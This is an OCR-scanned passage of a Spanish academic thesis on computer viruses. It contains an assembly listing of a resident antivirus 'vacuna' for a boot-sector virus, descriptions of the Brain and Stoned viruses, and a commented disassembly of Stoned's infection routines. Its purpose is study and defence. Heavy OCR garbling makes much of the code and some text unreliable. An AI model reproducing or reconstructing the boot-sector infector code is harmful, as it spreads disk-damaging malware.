DB 130UP (' 1.' EL DIGCO EN LA UNIDAD A ESTA INFECTADO POR EL 14dupr') 
De t30UP('),' VIRUS •MAAlc.ARMEN'. 14dupf1 
De 13DUP(1,' 1'4dupr; 
DB IJOUPf ),' OAPIMA CUALQUIER TECLA PARA COITTINUAR, EL CISCO 14dupf1 
DB 130UP('1,' SERA REPARADO AUTOMATICAMEHTE 14dupÍ) 
De 1a ourr1.· 14dup fl 
De 13DUPf1.' 14ctupr1.01h 

L0002 De 13DUP('1, , .. dup n 
De 13DUP f 1,' 14dup('l 
De 13DUP('),' ALERTA 14dupC) 
DB 13DUP0.' ................ ,,. .. -........................ 14dupf1 
De 13 DUP ¡¡; 14dup f1 
De 13DUP('l.' LA PARTE ALTA DE~ MEMOFUA ESTA INFECTADA POR t4dupr') 
DB 13DUP('1.' EL VIRUS 'MARICARMEN" 14dupfl 

ºª 13DUP('l,' 14dupfl 
De 130UP('l,' APAGUE SE COMPUTAOOAA Y REINJCWJCELA CON UN 14dup0 
De t3DUP('1.' SISTEMA OPERATIVO NO INFECTADO, 14dup O 
De 13DUP{'1.' 14 dup fl,07h 
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IHTER13 DO 
FIRMA 08 

LISTADO DEL PAOG~ VACUNA {CONTINUAJ 

' OB8h.OAOh.9Fh.BEh,OCOh,088ti.01h,O;!h,OB9ti.03h,00h,08Ah, 
OOh,01 h.OOBh.OOh.OOh.OCOh t Jh oEAh,00h.00h,OAOh.9fn 

SECTOR DB 512 DUP rl 

~1.!!!.........:!.~!!~~ .................................. .....__._i 
¡ UODULO ACTIVO DEL PAOORAMA ·---· ..... -----.-.. .................. _ ............ _ .. 
iHnRCEPINT PAOC FAR ' 

A.t.aumll CS:CODSEO, OB:Nothlng 
PUSHF 
PUSH 
PUSH 
PUSH 
PUSH 
PUSH 
PUSH 
PUSH 
PUSH 
CMP 
JZ 
CMP 
JNZ 

DISCO: OA 
JNZ 
C>.U. 

"' SI 
01 
os 
Es 
BX 
ex 
DX 
AH,02h 
DlSCO 
AH,OJh 
NORMAL 
DL.DL 
NOIVMl 
CHECA 

OX 
ex 
BX 
ro 
os 
Dl 
SI 

"" 

.SALVA ESTADO DE BANDERAS 
;QUAflOA TODOS LOS REGISTROS 

. .:.es uu INTENTO DE 1.ECT\JAA? 
;SI ES UNA LECTURA CONTINUA 
·LES UN INTENTO DE ESCRnl.JRA? 
;SI NO LO ES EJECUTA LA INT. t3h NORMA1. 
;LLA LECiUAA O ESCRITt.IRA ES EN ELDRIVE A? 
;SI NO ES El ORIVE A EJECUTA LA M". t3h NORMAL 
;UAMA AL. MODULO QUE CHECA A1. ORIVE A 

;RESTABLECE TODOS LOS VALORES DE l09 REOISTAOS NORMAL: POP 
POP 
POP 
POI' 
POP 
POP 
POP 
POP 
POPf 
PUSHF 
CALL 
AET 

INTEA13 
2 

:SIMULA UNA LLAMADA NORMAL DE IITTERRUPCION 
.TOMANDO LA OIRECC10N OEl VECTOR SUSTITUIDO 
:REGRESA DEJANDO El ESTADO DE LAS BANOEAAS INTACTO 

INTERCEPINT EHOP 

: .. --.......................... --······-····-·····• .. •; 
; llOOllLO DE CHEQUEO AL ORIVE A 
;•••• 1 .. ......_ •• _..... _____ ,~······--···-.. ••• 

CHECA PROC NE.AR 
AMume cs:CODSEQ, D11:NocNnQ ...................... --.... -

~ .!~~~~-~~.~!,~ERODEL1>mco 
AX,CS 
OS."1. 
ES.AX 
AX,0201h 
CX,0001h 

;SEGMENTO DE OATos .. cs 
;ES•CS 
:LEER 1 SECTOR 
:PR1PIER SECTOR DEL DISCO 
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LISTADO DEL PAOORAMA VACUNA. f~ 

MOV OX,OOOOh 
MOV BX,offtet SECTOR 
PUSHF 
CALL lliTER13 

RUTINA OUE VERIFICA SI EL DISCO 
EGTA INFECTADO 

XOfl 
MOV 
INC 
MOV 

MOV 
AOO 
INC 
MOV 

MOV 
MOV 
CLD 

COMPARA: 
CMPSB 
JNZ 
DEC 
JNZ 
CAU. 
CAU. 

SIGUE: RET 
CHECA 

ex.ex 
AX.offset SECTOR 

"" SI.AX 

Bl,[SIJ 
AA.BX 

"" SI.AX 

CX.24 
Ol,offNt FIRMA 

BIOUE 
ex 
COMPARA 
ALAAMA 
REPARA 

ENOP 

;ORNEA 
;El SECTOR LEIDO SE OUARO>.RA EN LA VAR1ABLE 'SECTOR' 

;LEE El SECTOR C. DEL ORIVE A 

;SI APUliT A Al eot.!IENZO DEL PAOOAAMA 
;DE CARGA LEIDO 
:BL COliTENIDO DE LA OIRECCIOH OS SJ 

;SI APUliTA A LOS 24 BVTES QUE SEAAN 
;COMPAAAOOS CON LOS 24 BYTES DE LA VARlABlE 'FIRMA' 
;24 BYrES 
;DI APUNTA A LA VARIA.BLE 'Flf\fM' 

:co+APAIV. ~· oms EN 00.SI CON 
;LOS 24 BYTES EN ES:SI PARA SABeR 
;SI El DISCO YA ESTA INFECTADO 
;SI NO ESTA INFECTADO SALE DE ESTE MODULO 
;SI ESTA INFECTADO L1.AMA A LA RUTINA DE ALARMA 
;ll.AMA Al MODULO DE REPARACION 

~-;:;;,:;;;~·;~;;.•~·E~=·:.;RT~~-;;;;_::;•w•tt; 
~~~~.,;;~················----............................... ¡ 

ALAR.U. 

Auurne CS:COOSEO, DS:Nothlf\9 
MOV BP,o"tel LOOO ;BP APUNTA Al MENSAJE oe LA VAAlABlE 'LOOO' 

MOV OX,090Qh 
MOV AX.1301h 

MOV CX,0371h 
MOV BX,004Eh 

'"' 10h 
MOV AH,08h 

'"' 21h 
RET 

ENOP 

;AENOLON 9. COLUMNA O 
:FUNCION 13h ·ESCRIBIR ATRIBUTO DE CADENA 
;Al•Olh ·ESCRIBE C>.FIACTER Y AVANZA LA 
;POSJCION DEL CURSOR 
¡ESCRlBE 371 h CARACTERES 
;PAGINA CERO, FONDO ROJO Y PRIMER flU.NO MAARILLO 
;DESPLIEGA EL MENSAJE 
;FUNCION O&h • ESPERA UN CAAACTEA DEL TECLADO 
:PAPA HA.STA QUE SE OPRIMA UNA TEClA 



LISTADO DEL PROORAMA VACUNA (CONTINUA) 

:•·····································-·················· .. ········-··-·•; ; MODULO DE REPARACION DEL DISCO INFECTADO 

~;;~;···;=---~~~·········-·········----··· .. ···-·-···--; 
AMutN CS:CODSEO, DS:NolhU\g 
MOi AX,0201 h 
MO'J CX,OOOJh 
MOV OX,OIOOh 
MOV BX,ot11et SECTOR11 
PUSHF 
CAl.1. INTER13 

XOA ex.ex 
MCN AX,off1et SECTOR 
INC '"" MOV SI.A.X 

MCN Bl..(SIJ 
AllO >ex.ex 
INC '"" MOV Dl,>CX 

MOV C)(,24 
MCN Sl,ofttot SECTOR11 
INC Si 
INC .. 
CLD 
REPZ MOVSB 

MOV AX,0301h 
MCN CX.0001h 
MOV DX,OOOOh 
MCN BX.ot1Nt SECTOR 
PUSHF 
CALL INTEA13 

MOV BX,offaet SECTOA11 
MOV DI.ex 
XOA '""""' MOV (DIJ.AX 

MOV Sl,BX 
MOV DlBX 
INC 01 
MCN CX,511 
CLO 
REPZ MOVSB 

MOV AX.0301h 
MOV CX.0003• 

;LEER UN SECTOR 
:SECTOR11 
,DEL ORNEA 
.OUAROARlO EN lA VARIABLE 'SECTOR! I' 

.LEER El SECTOR 

.sx .. o 

,$1 APUNTA AL COMIENZO DEL PROGRAMA 
DE CARGA LEIDO 

.BL COffTENlDO DE lA O!RECClON OS:SI 

:SI APUNTA A LOS 24 BYTES QUE SERAN 
;SUSTTTUIDOS POR LOS PRIMEROS 24 BYTES 
:DEL PAOORAMA DE CARGA. ORIOINAL 
;24 BYTES 
;DI APUNTA.Al.AREA DONDE SE OUAR(lARA.N 
;LOS 24 BYTES DEL PAOORAMA DE CARGA 
;ORIGINAL 

,TRANSFIERE LOS 24 BYTES DE OS:SI EN 
:LA DIREGCION t:S:OI 
;ESCRIBE UN SECTOR 
:SECTOR CERO 
:DEL ORNEA 
:ESCRIBE LO QUE ESTA EN LA VARIABLE 'SECTOR' 

:ESCRIBE EL SECTOR 

;PONE UN CERO EN El PRIMER ByTE DE LA 
;VAR1A8l.E 'SECTOR11' 

;PONE A CERO TODA LA VARIABLE 'SECTOR11' 

;ESCRIBE UN SECTOR 
;SECTOR ti 
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LISTADO DEL PROGRAMA VACUNA(~ 

MOV OX,OIOOh ;OELDRIVEA 
M0V BX,offMI SECTOA11 ;ESCRIBE El CONTENIDO DE lA VARIABLE 'SECTOR! 1' 
P\JSHF 
CALL INTEA13 ;ESCRIBE EL SECTOA 

AET 

REPARA ENDP 

i..__ ...... _.. ....................... _.. .......... _.. ............................. ; 

¡ MODULO DE INSTALACION DEL PROGRAMA 

; ESTE MODULO INTERCEPTA LA INTERRUPCION 13h E INSTALA AL PROORAMA COMO 
¡RESIDENTE EN MEMORIA 
=E~:~ ••;R~•••••~·;~ ... •••••••••••••-••••••••••••-••tt••••••••••••¡ 

Auumti CS:CODSEG, DS:CODSEG 
CAlL VERIFICA 
MOi AH,35h 
MOi AL,1Jh 
INT 21h 

,EXTRAE DIRECCION DE INTERAUPCION 
;SELECCIONA INT 13h PARA SUSTITUIR 
;OIRECCK)N EN ES:BX 

MOV Word Ptr INTERIJ,BX 
MOt/ Word Ptr INTER13!2J,ES 
MOV AH,25h 
MOi AL,1Jh 

;GUARDA EL DESPLAZAMIENTO DE LA INTEARUPCION 
;GUARDA EL SEGMENTO DE LA IHTERRUPOON 
:SELECCIONA CAMBIO DE OIRECCION DE INTEARUPCION 
;SELECCIONA INT 1Jh PARA SUSTTTUIR,OIRECCION EN DS:DX 

MCN DX,Ofl...,1 INTI:nccri::r 
INT 21h 
MOV OX,Oflsel CAMVECINT 
INT 27h 
AET 

CAMVECINT ENDP 

;SUSTITUYE INT 1 Jh POR ESTE PROGRAMA 
;FIN DE lA PARTE RESIDENTE EN MEMORIA 
;TERMINA PERO OUEDA RESIDENTE EN MEMORIA 

¡ ESTE PROCEDIMIEHT~ ~;;~;;~·~• RlffiNA P~~ =~~=;~;-:.;R;¿ 
l NO ESTE INSTALADO EN LA PARTE ALTA DE LA MEMORIA 
;----·-··~-............................................. ¡ 
VERIFICA PROC NEAR 

ANume CS:CODSEO. DS:Nothlng 
PUSH OS 
PUSH ES 
M<1'I AX,9FAOh 
Mt:N OS.AX 
MOV AX.CS 
MOV ES.AX 
MOV Sl,001Ah 

;GUARDA EL VALOR DE LOS REGISTROS ES Y OS 

;SEGMENTO CE CATOS EN DS•9FAOh 

:Es-es 
;61 A.PUNTA A LOS 24 BYTES QUE SEAAN 
;COMPARADOS CON LOS PRIMEROS 24 BYTES 
:DEL VIRUS 
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LISTADO DEL PROGRAMA VACUNA. (CONllNUJJ 

MOV 
MOY 
CLO 

COHfRONTA:. 

RED RES>.: 

CMPSe 
JNZ 
oec 
JNZ 
CALL 
POP 
POP 

RET 

CX.24 
Ol,otjtotFIRMA 

REGRESA 
ex 
CONFRONTA 
AL.<RMA2 
ES 
os 

VERIFICA ENDP 

:24 BYTES 
.DI APUNTA AL CONTENI~•) DE V. IARIABLE 'FIRMA' 

;COMPARA 24 BYTES EN OS:SI CON 
,LOS 24 BYTES EN ES:OI PA.RA SA.BER 
;Sl LA MEMORIA ESTA INFECTA.DA 
;SI NO ESTA INFECTA.DA SALE DEL MODULO 
:Sl ESTA INFECTADA LLAMA A LA RUTINA DE ALERTA 
'RESTABLECE EL VALOR DE LOS REGISTROS es.os 

·-···-·············· .. ··························"*·························· . ' 
; RUTINA QUE DESPLIEGA UN MENSAJE EN LA PANTALLA PARA INDICAR QUE LA 
; RAU UTA INFECTADA POR EL VIRUS 

; ... -·--·· .. ···-·······-.... ····-·· ... -··--······. 
ALARUA2 PROC NEAR 
~ CS:CODSEO, DS:Nothlng 
MCN BP,olftet L0002 
MOV DX.0900h 
MOi/ A.X,1301h 

CX.0371h 
BX,004Eh 

"'" AH,06h 
21h 

ENDP 

,BP APUNTA AL MENSAJE 0€ LA VARIABLE 'LOOO' 
,RCNOLON 9, COlUMNA O 
;FUNCION 13h ·ESCRIBIR ATRIBUTO DE CADENA 
;AL•01h ·ESCRIBE C>.R.ACTER Y AVINZA LA 
;P051CION DEL CUP'90R 
:ESCRIBE 371h CAAACTEP'ES 
;PAGINA CERO, fONOO 1-'0JV '( PHIMER FLANO AMAAlU.0 
:DESPLIEGA EL MENSAJE 
:FUNCION 06h ·ESPERA UN CARACTER DEL TECLADO 
;PAAA Kl.STA QUE SE OPRIMA UNA TECLA 

:-·· ... -··········· ... ·····-···· .... --····---·····-···••; CODSED ENDS 
END INICIO ··-·-·· .. ·········· ................................. ---··--····: 

Conclusiones. 

La principal conclusión que se deduce del desarrollo de un algoritmo de vacuna 

contra un virus específico es consecuencia directa del algoritmo utilizado en el 

programa del virus. 

Esto implica que no puede existir un programa general que brinde una 

protección completa contra los virus informáticos, por lo que un solo programa o 
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paquete no podrá efectuar la detección de todos los virus. ev~ar su contagio o 

Instalación, ni reparar los daños que provoquen. 
Aunque no se puede tener el 100% de seguridad, se puede alcanzar un nivel 

muy favorable en base a un programa integral de prevención informática. Las 
caracterlsticas de los programas de prevención se estudian en la sección 3.1 .. en 

donde se explica que aspectos como la capacitación del personal, uso de 

controles técnicos, paquetes antivirus y controles administrativos son de 

fundamental Importancia. 

El programa vacuna se diseña de manera que permanece residente en 

memoria, emulando el programa centinela de algunos paquetes, pero a d~erencia 

de éstos, se efectúa la operación de reparación al disco. Esto es posible gracias a 

que el programa es muy pequeño y solamente ocupa 3 Kb de memoria, por lo 

que no tienen ningún problema en quedar residente. 

El hecho de que éste programa permanezca activo en la memoria para verificar 

y desinfectar a los discos flexibles es una ventaja de operación muy favorable para 

los usuarios, pero el precio que se paga por esta ventaja es que los accesos al 

drive A se efectuarán de manera mas lenta, ya que cada vez que se pida leer o 

escribir en él, se checará el sector cero. 
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6 

PRESENTACION DE CASOS 

En los capítulos anteriores se ha dado la definición de virus Informático y se 

ha descrito su comportamiento, generalizando sobre sus características 

estructurales y modos de propagación. Todos estos datos son encontrados a 

través del análisis de casos particulares, tales como el virus "Brain" o el "Stoned". 

En este capítulo se presenta una descripción de ambos, el primero por se~ el virus 

más documentado, es decir, del que se tienen más referencias, y el segundo 

derivado de un análisis directo de un disco infectado. 

Actualmente existen más de 1000 virus, pero sólo algunos de ellos han 
representado un peligro latente en los sistemas Informáticos y de éste grupo se 

presenta. una brava descripción de cada uno de ellos, con el fin de facilttar su 

identificación por los usuarios de las computadoras. 

6.1. Virus "Braln" 

Ef virus Brain tiene la diSÍinción de ser el primer virus lflfOrmáUco en atacar 

computadoras en Estados Unidos fuera de una prueba de laboratorlo. 
Fué nombrado "Brain" por que escribió esta palabra como etiqueta de los 

discos flexlbfes que atacaba. Al analizar un disco infectado, se encontraron los 

nombres "Basit" y "Amjad", junto con sus direcciones, en ef sector de arranque. 

Muchos conceptos erróneos existen sobre este virus a causa de frases 

incompletas e inexactas que se publicaron en revistas, por escrttores que no 

tenían ningún conocimiento de computación y algunos estaban ansiosos de 

"historias de horror'', por lo que sus articules se orientaban al sensacionalismo. 



6.1.1. Prlnclpoles Características del BRAIN. 

1. Al activarse destruye la tabla de locación de archivos (FA n que como se ha 

es1udlado en el capltulo 2, provee Información al sistema operativo sobre la 

ubicación de los archivos en el disco. 

2. Nunca Infecta a los discos duros, ya que está especfficamente programado 

para reproducirse en discos de 5 1 /4 de baja densidad (doble densidad, 

nueve saetares por pista). 
3. El virus puede Infectar a los discos flexibles aún cuando el disco duro no esté 

Infectado. SI un disco no bootabfe está infectado y es ocupado para arrancar 

al computador, el siguiente mensaje se mostrará en la pantalla: 

"Por favor inserte un Disco Bootable" 

Pero, antes de esto, el virus se habrá instalado en la memoria RAM, por lo 

que cada vez que se trabaje con un nuevo disco bootable, éste será 

infectado. 

4. El código original del virus ha sido modificado: el código actual comprende 

algunos 4100 bytes, pero menos de fa mitad de és1os son ejecutados. 
5. El virus contiene un contador et cual es reinicializado a cero frecuentemente, 

por lo que es difícil determinar su propósito. 

6.1.2. Como efectúa la Infección. 

Al operar un disco infectado en un sistema Informático, el virus se copia a si 

mismo a la parte alta de la memoria RAM. Para esto necesita modificar el Indicador 

de memoria disponible en RAM, mediante el Interruptor A2h, con lo que queda 

protegido y residente. Después continua con el proceso normal de carga, 

posterior a fo cual, también modifica la dirección del vector de Interrupción 13h 
para que apunte hacia él, guardando la dirección original de este vector en el 

vector 6h (que no es utilizado para versiones exls1entes de DOS). 

Una vez instalado en memoria, debido a la intercepción de la interrupción 13h, 

cada vez quo se pida un acceso al disco flexible en la unidad "A:", éste se 

infectará. 

Los discos infectados contienen un mensaje junto con parte del código virus en el 

sector de carga. El res1o del código, junto con el sector de carga original se 
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encuentra contenida en tres clusters (seis sectores) que el virus ha marcado como 

dañados en la FAT. 
Dado que el virus permanece residente en memoria, no es posible leer el sector 

de carga infectado, esto porque cada vez que algún usuario pide leer tal sector, el 
virus se protege mostrando el sector de carga original que había ubicado 

previamente en uno de los sectores marcados como dañados. 

El virus, residente en memoria, Interrumpe cualquier petición de lectura al disco 
flexible. El virus lee el sector de carga, examinando los bytes cuarto y quinto no 

contengan los valores "34" y "12'', respectivamente que es la firma del virus. 

Si esta firma no está presente en el disco, el virus infecta al disco y después 

continua con el proceso normal de lectura. Si el disco ya está infectado, no 

reinfecta al disco, continuando con él su lectura. La figura 6-1 es una comparación 

de la porción inicial de un sector de carga "sano" y uno infectado. 

SECTOR DE CA ROA DE UN DISCO ~NO-

o • o 
1. fl o 1 1) ~ ro 00 00 ~ fD ~ 00 ~ 

• o o ro ro oo ro ~ ro ro ro ~ 

SECTOR DE CARGA DE UN DISCO INFECTADO POR El VIRUS SRAIN 

• o 
1 p D C11 

p o 2 Cll 

FIGURA 1-1. COMPARACION DE LOS PRIMEROS 41 BYTES DE UN DISCO"SANO" Y UNO INFECTADO 

POR EL VIRUS BRAIN. 

Normalmente el virus, en su Intento por infectar un disco, buscará tres 

clusters consecutivos vacíos para utilizarlos, marcándolos como dañados. SI no 

existe esta circunstancia, no se infectará el disco, sin embargo, en algunas 

179 



variantes de este virus, si encuentra a un solo cluster vacío que no sea de los dos 

últimos del disco, el virus ocupará el cluster vacío junto con los dos cluster que le 

preceden, sobreescribiendo en ellos y marcando los tres como dañados. 

SI los clusters sobreescritos son parte de un archivo, éste no podrá volver a 

ejecutarse en caso de ser un programa, o leerse en caso de ser un documento. 

Nota. 

Un método simple y barato para saber si un computador está infectado por el 

virus (estando el virus residente en memoria), se deduce del checamiento que 

efectua el Sistema Operativo del sector de carga de los discos flexibles. 

Es posible preparar un disco de prueba mediante los siguientes pasos: 

1. Formatear un disco flexible con o sin Sistema Operativo. 

2. Usar el programa DEBUG.COM, el cual es una utilería del DOS, o algún 

programa como el PCTOOLS, para edttar el sector de carga del disco recién 

formateado. 

La primera línea del sector de carga aparece como se muestra en la figura 6-

2. 

~ ~ oo ~ ~ w ro ro ~ ~ ~ oo ~ m M oo 

FIGURA 6-2. PRIMERA LINEA DEL SECTOR DE CARGA CE UN DISCO 'SANO'. 

3. Dado que el Braln examina los bytes quinto y sexto para reconocer su firma, y 

así saber si ya ha infectado al disco, se debe cambiar estos bytes por la firma 

del virus: "3412''. La figura 6-3. muestra la primera línea del sector de carga 

modificado. 

EB 34 90 49 34 12 20 20 33 2E 32 00 02 02 01 00 

FlOURA 6-3. PRIMERA LINEA DEL SECTOR DE CARGA DE UN DISCO lNFECTADO POR EL VIRUS BAAIN. 
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Colocando este disco de prueba en la lectora de disco "B:", pedir el directorio de 

~este disco con la instrucción DIR B:. Si el computador está Infectado por el virus 

Brain, el siguiente mensaje aparecerá en la pantalla: 

"No! ready, error reading drive B" 

"Abar!, Rbtry, Ignorar 

Esto es debido a que el disco con el sector do carga modificado sólo podrá 

trabajarse en un sistema no infectado. 

6.2. Virus "Stoned" 

Este virus es del tipo autorreplicable y, dentro de estos, es uno de los más 

contagiosos. Su nombre "Stoned" se traduce como "drogado" y se debe a que 

despliega aleatoriamente el mensaje ''Your PC is now Stonodl" en las 

computadoras que ha infectado. 
Su forma de trabajo es muy simple: Se reproduce contagiando los discos, 

tanto duros como flexibles, remplazando el boot sector (sector O) por su código. 

El bao! sector original es trasladado a otro sector dentro del mismo disco: 

típicamente, para los discos flexibles, el sector 11 y para los discos duros el sector 

7. 
Al ubicarse en el sector de carga inicial (sector cero), el virus se ejecuta 

antes de cualquier otro programa cada vez que se "arranque" la computadora o 

cuando se reinicializa (resal). por lo que solamente puede entrar en actividad 

cuando se "prende" o inicializa la computadora y se carga el sistema operativo con 

un disco bootable infectado, ya sea un disco flexible en la unidad A o el disco 

duro. 

Al activarse el virus, comienza checando con que disco se cargó el sistema 

operativo (disco flexible A o disco duro C), si se cargó con el disco flexible, el virus 

verifica si la computadora tiene disco duro y si lo tiene, verifica además si ya está 

contagiado, de no ser asl lo infecta. Una vez hecho lo anterior, se instala en la 
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parte alta de la memoria RAM y toma el control de los accesos de lectura o 

escritura a los discos. 
Estando aclivo el virus, se "senlirá" una marcada lenlitud al trabajar con el 

drive A, sobre todo en el primer acceso. Disminuye 2Kb de la memoria disponible 

para los programas y datos del usuarios, por lo que se tienen serios problemas en 

aplicaciones tales como Windows, Excel, Word for Windows. Al desensamblarlo 

(traducirlo de lenguaje máquina a lenguaje ensamblador), se encuentra que no 

tiene el módulo de DAÑO, es decir, que no presenta intención de borrar o alterar 

los archivos del usuario; pero, debido a que su reproducción Implica remover al 

sector cero, para sustituirlo por su código, éste se transfiere al área de la FAT o a 

la de Directorio (root directory}, ocasionando pérdida de la ubicación de los 
archivos, por lo que no se podrá accesarlos. 

El programa desensamblado se presenta en la figura 6-4, el cual se 

presenta en tres columnas la primera de las cuales es para l2s etiquetas que son 

puntos de referencia para el fiujo del proceso, la segunda es la lista de 

instrucciones que forman al programa y la tercera presenta comentarios que 

tienen el fin de aclarar el funcionamiento de algunas intrucciones. 

FIGUP.Ae..4. 
USTADO OESENSAMBlADO DEL VIRUS SfONEO 

ETIOUTA OPERACfON OPEAANOO COMENTARIO 

JMP EllCIUETA_I 

ETIQUETA_!: JMP INSTALACION ;Satt.t •la Mina de ln$lalec~n. 

E'l10UfITA_2: 00 IN'TER13 ;Alma~lonto de la diroccl6n d• la ruuna 

;dalrrt1rru¡x:)6n !3h. 

ETIOUETA_J: DO INSTAl..4CION_RAM 

~_SO: ºº 7COOOOOO ~Olreec16n d.- utga del M.Uima op9rmft.to, 

RESIDENTE: PUSH os ;Comlenro doJ m6d~ rMldem. en !MmOlia. 

PUSH AX 
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FIOURA.6-4. 
lJsTAOO DESfNSAMBLAOO DEL VIRUS STONED 1eoNT1NUAl 

CMP AH.02 :Llnt1nlodel1ciu11'1 

JB ETIOUETA_• ;Skontlnúa, NQ..no lnf.eta. 

, ___ CMP AH.OJ .~11111ntod1 ncr~u1a'1 

JNB ETIOUET.t._4 ,SI continúa, NO.no infocta. 

OA Dl.lll 

JNZ ETIOUETA._4 ;SI no 11 el drlY• A no !ni.eta. 

XOA AX>Y. 

"'°" OS.AX 

MOV AL.(04.lF] 

TEST Al.,01 ;LPr1mer ICCllO al dl1eo'1 

JNZ 0033 ;Sl·lnfeeta. NO.nolnfocta 

CALL INFECCION ;Ej.eut. 11 modulo d1 lnteecl6n. 

ETIQUETA_ 4: POP AX 

POP 00 

CS· 

JMP FARIETlOVTA2J ,Ejecute 11 rutina normal'!- lntlmlpclón 13h. 

INFECCION: PUSH BX ;Comienzo del m6dub de lrrfocci6n a loa 

;dlacoe rlcndt>iee. 

PUSH ex 

PUSH OX 

PUSH ES 

PUSH SI 

PUSH DI 

MOV Sl,0004 ;RHlb:e 4 lntontoe d: lntecci6n al dt.co. 

ETIOUETA_S: MOV AX,0201 

PUSH es 

POP ES 

MOV BX.0200 

XOR ex.ex 

MOV ex.ex 
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FIGUAAM. 
LISTADO DESENSAMBLADO DEL VIRUS STONEO (CONTINUA} 

INC ex 

PUSHF 

es: 
CAU FARIETIOUETA_2] ;L.- el Mcior de carga dol di.co • lnfKtaJ. 

JNB EllOUETA_e ;SI no .ncuentr• error ejecuta la im.cd6n. 

XOR AJl..AX 

PUSHF 

es: 
CAU FAR(ETIQUETA_2} ;Re1tabloce al dlaco. 

DEC SI :l.Se han ef.cttlado"' lnlontoe de lntoecl6n7. 

JNZ ETIOUETA_5 ;S$. no int•nW dt nuevo 

;NO-Vuel\le a Intentar ta inloecl6n. 

JMP ETIOUETA_B ;No NI pudo lnlKW. 

NOP 

ETIQUETA_IS: XOR Sl,SI ;Com1-nza \a rutina do lnf1tCCi6n. 

MOV lll.0200 

CLD 

PUSH es 

l'OP os 

LOOSW 

CMP AX.ID~ 

JNZ ETIOUETA_7 

LOOSW 

CMP AX.(01+02] ;l.Ya e.ti contagiado?. 

JZ ETIOUETA._8 ;Sklo lnl'ecta. NO-Infecta. 

ETIQUETA]: MOV AX.0301 

MOV BX.0200 

MOV Ct.03 

MOV OH,01 

PUSHF 

CS: 

CAU FAR(ETlOUETA_2J ;Copla el MClol' de carga origine! al 
;Mdoft1. 
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FIQURA~. 

LISTADO DESENSAMBLADO DEL VIRUS STONED (CONTINUA) 

JB Et10UETA_8 ;SlheyerTornolntl'Cta. 

fJC.¡ AX.0301 

XOA SX.BX 

fJC.¡ Cl.01 

XOA ox,ox 

PUSHF -¡ 

CS; 

CAU. FAR(ETIOUETA_2) ;Se copl• .r ~lru1 tn el dleoo. 

ETIOUETA_8: POP "' 
POP SI 

POP ES 

POP DX 

POP ex 

POP BX 

AET 

INSTALACION: XOA "'-.AX ;Com19nza el módu~ d• lnctalacl6n del vlrue. 

MOV OS."'-
cu 

MOV SS.AX 

MOV SP,7COO 

STI 

MOV "'-(004C] 

fJC.¡ {7COO),AX ;Parte bej111 de INTE~1 J 

fJC.¡ AX.(004E] 

fJC.¡ {7COB]."'- ;Parte erta de INTER13 

MOV AX,(0413J ;Lee la cenüdad d1 m1mo1la d11ponlbl111 en 

;RAM 

DEC AX ;Le folla tK • I• memoria d!1ponlblo en RAM. 

DEC AA :Lo ruta 1K111 i. memoria dl•por¡lbkl 111n RAM. 

MOV [0413J,AX ;Guarda ol nuovo valor di1mlnuldo en 2K 

MOV CL06 
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FIGUPAB-4. 
USTADO OESENSAMBLAOO DEL VIRUS STONEO '"""'"""'" 111

•
1 

SHL AX.CL 

MOV ES.AX 

MOV (7COF].AX ;O:RECCK>N DEL SEGMENTO EN DONDE 

;SE CARGA Al l/1RUS- SE GUARDA EN lA 

;PARTE ALTA DE INSTALACION_RAM 

MOV AX,0015 

MOV (OO<CJ.AX ;R.mph1.z. la p.rt. baja dol v9dor 13h. 

MOV (OO<E],ES ;Rtimpl&Za l-. parte alta del wctor 13h. 

MOV CX,0108 

PUSH es 
pOp os 

XOR Sl,SI 

MOV Ol,SI 

CLD 

REPZ MOVSB ;Se copla el vlru1 a la memoria protegida. 

ca, 
JMP FAR[ET10UETA_3J ;La parte baja de INSTAl.ACION_R.UI 

;d11occiona al de1phazam1en10 de le etiqueta 

,x 
x, MOV AX.OWJ 

IKT 13h 

XOR foY..AX 

MOV ES.AX 

MOV AX,0201 

MOV BX,7CX>O 

es, 

CMP BYTE PTA[0009),00 ;t.se cargo el Slltama Operattvo con el dllCO 

:duro?, 

JZ ETIOUETA_B ;Sf.IM al MCtorde carga del eoctor 7, 

;NCMH el MCtor de carga del HCto1 1 t del 

;drlwA. 

MOV CXr:nJ7 

MOV DX,0080 
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FIOUAA&-4. 
t.isTADO DESENSAMBlADO DEL V1RUS STONEO fCQNTlNI 1.6.\ 

,,.,,. 13h ;LH •l •.ctot 7 d•I dlaco duro 

JMP ETIQUETA_12 

NOP 

ETIOUET A_ SI; MOi CX.0003 

MOi DX,0100 

INT 13h ;LM 91leCtot11 d.JdlacoA. 

Ja ETJQUETA_12 

ES: 

TEST BYTE i:rrR{048C),07 :LE• la Mpt1m1 earg.? 

JNZ ETIQUETA_11 .s~<Mtpll.ga .i m•nuJ• ql.19 ..U al ftnal MI 

;programa ('Your PC 11 now Slon.dl1, 

:NO.contlnu11ln dotplegar •1 mel'l9ajt:. 

MOi Sl,0189 

PUSH es 
POP os 

ETIQUETA_tO: LOOSB 

OR Al.Al 

JZ ETIOUETA._11 

MOi AH.DE 

MCN BH,00 

,,.,,. !Oh 

JMP ETIOUETA._10 

EllQUETA._11: PUSH es 
POP ES 

MOi AX.0201 

MOi BX,0200 

MOi CL.01 

MCN ox,ooeo 
,,.,,. ,,. 

;lntanta leer •I prim•r MCtor d•I dlaco duro 

;(pua V•tlflcar •I existe). 

JB E110UETA_t2 ¡s¡ exllt•error Mita a la rutina qut •}Kuta al 

;p1ograma de urga original. 

PUSH es 
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FIGURAB-4 
LISTADO DESENSAMBl.AOO DEL VIRUS STONEO !CONTINUA) 

POP 00 

IMY' Sl,0200 

IMY' Ol.0000 

LOOSW 

CMP AX.{Dl+c:rll ;Le.ti infectado ot dbco duro? 

JNZ ETlOUET A_ 13 ;S~ Sa.IUI al m6dulo do lnfecel6n d.i dleco 

;duro (ET1QUETA_13). 

;NO-oontfnüa. 

ETIOUETA_12: es, 
IMY' BYTE PTA[0008!,00 

es, 
JMP FAR(OATO) ;Ejecuta ol p1ograma de Clllg• oiiglnal. 

ETJQUETA_13: es, :Comienzo del módulo da lnfltC(;Jón al dt.co 

;duro, 

IMY' BYTE PTA[0008],02 ;Mar c. al dllCO como 'Infectado'. 

MOV AX.0301 

IMY' ex,0200 

MOV CX.0007 

1'0V CX.0000 

INT "'" ¡Copla el aeciOI' de carga original al MC\or 7, 

JB El1CJUETA_12 ;Slexlsteerrornolnfeeta. 

PUSH es 
POP os 
P\JSH es 
POP ES 

MOV Sl,038E 

MOV Dl.01BE 

IMY' CX,0242 

